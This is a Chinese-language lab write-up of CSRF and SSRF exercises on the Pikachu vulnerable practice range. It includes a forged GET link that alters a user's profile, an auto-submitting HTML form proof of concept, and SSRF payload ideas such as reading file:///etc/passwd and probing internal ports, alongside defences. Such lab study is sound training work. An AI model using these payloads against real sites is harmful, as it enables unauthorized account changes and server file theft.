Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中

get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施

可以直接把url改一下,改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

用户点击链接

成功改成男孩

post型

和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数

用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了 就从网上复制了一个,保存为html,并用浏览器打开

复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="[email protected]" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

​

访问这个html,成功修改

token型未成功

(1)客户端把用户的用户名和密码发到服务端

(2)服务端进行校验,校验成功会生成token, 把token发送给客户端

(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)

前端会存储这个token,放在session或cookie中,token一般用完一次就会失效

要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密

bp安装CSRF Token Tracker插件

pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)

设置

重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变

HTTPS

突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密

为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客

SSRF

curl

点击链接,观察url

把url改成了百度

file_get_content

像远程文件包含

总结

csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作

挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞

防范:

(1)增加Referer,记录了该 HTTP 请求的来源地址

(2)添加 Token,每次用完就失效

(3)同源策略SOP,

(4)使用验证码,对于敏感操作输入验证码进行验证

SSRF,服务器端请求伪造

如果url中含有share、wap、url、link、src、source、target、display、sourceURl、imageURL

、domain . 参数若是其他服务器地址,就可能有ssrf漏洞

可以用于探测内网端口开放,http://内网ip:22,http 协议进行内网探测

任意文件读取,url=file:///etc/passwd,,file 协议结合目录遍历读取文件

gopher 协议打开端口。

dict 协议主要用于结合 curl 攻击

ssrf防范

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求

限制不能访问内网的IP,以防止对内网进行攻击

相关推荐
hao_0413几秒前
elpis-core: 基于 Koa 实现 web 服务引擎架构设计解析
前端
狂野小青年40 分钟前
npm 报错 gyp verb `which` failed Error: not found: python2 解决方案
前端·npm·node.js
鲁鲁51744 分钟前
Windows 环境下安装 Node 和 npm
前端·npm·node.js
跑调却靠谱1 小时前
elementUI调整滚动条高度后与固定列冲突问题解决
前端·vue.js·elementui
呵呵哒( ̄▽ ̄)"1 小时前
React - 编写选择礼物组件
前端·javascript·react.js
Coding的叶子1 小时前
React Flow 简介:构建交互式流程图的最佳工具
前端·react.js·流程图·fgai·react agent
apcipot_rain6 小时前
【应用密码学】实验五 公钥密码2——ECC
前端·数据库·python
ShallowLin6 小时前
vue3学习——组合式 API:生命周期钩子
前端·javascript·vue.js
Nejosi_念旧7 小时前
Vue API 、element-plus自动导入插件
前端·javascript·vue.js
互联网搬砖老肖7 小时前
Web 架构之攻击应急方案
前端·架构